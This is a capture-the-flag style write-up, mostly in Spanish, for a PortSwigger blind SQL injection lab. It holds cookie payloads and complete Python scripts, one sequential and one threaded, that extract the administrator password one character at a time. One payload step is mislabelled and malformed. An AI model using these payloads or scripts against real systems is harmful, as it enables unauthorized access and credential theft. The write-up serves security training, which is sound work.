← Writeups

Blind SQL injection with conditional responses

This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie.

The results of the SQL query are not returned, and no error messages are displayed. But the application includes a Welcome back message in the page if the query returns any rows.

The database contains a different table called users, with columns called username and password. You need to exploit the blind SQL injection vulnerability to find out the password of the administrator user.

To solve the lab, log in as the administrator user.


https://siunam321.github.io/ctf/portswigger-labs/SQL-Injection/sqli-11/

La web maneja un valor de cookie de seguimiento y realiza la query sql conteniendo el valor de la cookie, los resultados de la query sql no son retornados, pero la app incluye un mensaje de welcome si la query retorna cualquier fila. La BD contiene una tabla distinta llamads users con (username, password) como columnas.

Al agregar a la cookie lo siguiente aparece el mensaje

' AND '1'='1

con el siguiente codigo de python se puede probar inicilamente

#!/usr/bin/env python3

import requests

url = 'https://0a3000450433ea41c0ad68b200e40077.web-security-academy.net/'

trackingid = 'YOUR_TRACKING_ID'
payload = f'''{trackingid}PAYLOAD_HERE'''

cookie = {
	'session': 'YOUR_SESSION_ID',
	'TrackingId': payload
}

r = requests.get(url, cookies=cookie)

if 'Welcome back!' in r.text:
	print('True')
else:
	print('False')

Por ejemplo

#!/usr/bin/env python3

import requests

url = 'https://0a41009203863ad49ea7012400800088.web-security-academy.net/'

trackingid = 'SFfxwQJ3p3Lbp6Gz'
payload = f'''{trackingid}' AND '1'='1'''

cookie = {
    'session': '8mQoRQFb4cEBz00OfflATFKnzRAvvE2b',
	'TrackingId': payload
}

r = requests.get(url, cookies=cookie)

if 'Welcome back!' in r.text:
	print('True')
else:
	print('False')

Modificando el payload

payload = f'''{trackingid}' AND (SELECT table_name FROM information_schema.tables WHERE table_name='users') = 'users'''

Retorna TRUE; la tabla 'users' existe

payload = f'''{trackingid}' ' AND (SELECT table_name FROM information_schema.tables WHERE table_name='users') = 'users'''

Retorna TRUE; el usuario administrator existe

lugo enumeramos la longitud de la password del usuario administrator

payload = f'''{trackingid}' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)=20)='a'''
#!/usr/bin/env python3

import requests
from string import ascii_lowercase, digits

url = 'https://0a3000450433ea41c0ad68b200e40077.web-security-academy.net/'

trackingid = 'ikI75WAivHT5piK1'

chars = ascii_lowercase + digits
position = 1
password = ''

while True:
	for character in chars:
		payload = f'''{trackingid}' AND (SELECT SUBSTRING(password,{position},1) FROM users WHERE username='administrator')='{character}'''
		cookie = {
			'session': 'YOUR_SESSION_ID',
			'TrackingId': payload
		}

		r = requests.get(url, cookies=cookie)

		if 'Welcome back!' in r.text:
			# print('True')
			password += ''.join(character)
			print(f'[+] Found password: {password}', end='\r')
			position += 1
			break
		else:
			# print('False')
			pass

	if len(password) >= 20:
		print(f'[+] administrator password: {password}')
		exit()

Version optimizada mediante Threads

#!/usr/bin/env python3

import requests
from string import ascii_lowercase, digits
from concurrent.futures import ThreadPoolExecutor, as_completed

url = 'https://0a3000450433ea41c0ad68b200e40077.web-security-academy.net/'
trackingid = 'ikI75WAivHT5piK1'

# Configuración
PASSWORD_LENGTH = 20
CHARSET = ascii_lowercase + digits
SESSION_ID = 'YOUR_SESSION_ID'
MAX_WORKERS = 5

def check_character(position: int, character: str) -> tuple:
    """Verifica si un carácter está en la posición específica de la contraseña"""
    payload = f"{trackingid}' AND SUBSTRING((SELECT password FROM users WHERE username='administrator'),{position},1)='{character}"
    
    cookie = {
        'session': SESSION_ID,
        'TrackingId': payload
    }
    
    try:
        response = requests.get(url, cookies=cookie, timeout=10)
        return position, character, 'Welcome back!' in response.text
    except requests.RequestException:
        return position, character, False

def find_character(position: int) -> str:
    """Encuentra el carácter correcto para una posición usando hilos"""
    with ThreadPoolExecutor(max_workers=MAX_WORKERS) as executor:
        futures = {
            executor.submit(check_character, position, char): char 
            for char in CHARSET
        }
        
        for future in as_completed(futures):
            pos, char, found = future.result()
            if found:
                executor.shutdown(wait=False)
                return char
    return None

def main():
    password = []
    
    print("[*] Iniciando extracción de contraseña...")
    
    for position in range(1, PASSWORD_LENGTH + 1):
        char = find_character(position)
        if char:
            password.append(char)
            print(f'[+] Progreso: {"".join(password):<20}', end='\r')
        else:
            print(f"\n[-] Error: No se encontró carácter en posición {position}")
            break
    
    final_password = ''.join(password)
    print(f'\n[+] Contraseña de administrator: {final_password}')

if __name__ == "__main__":
    main()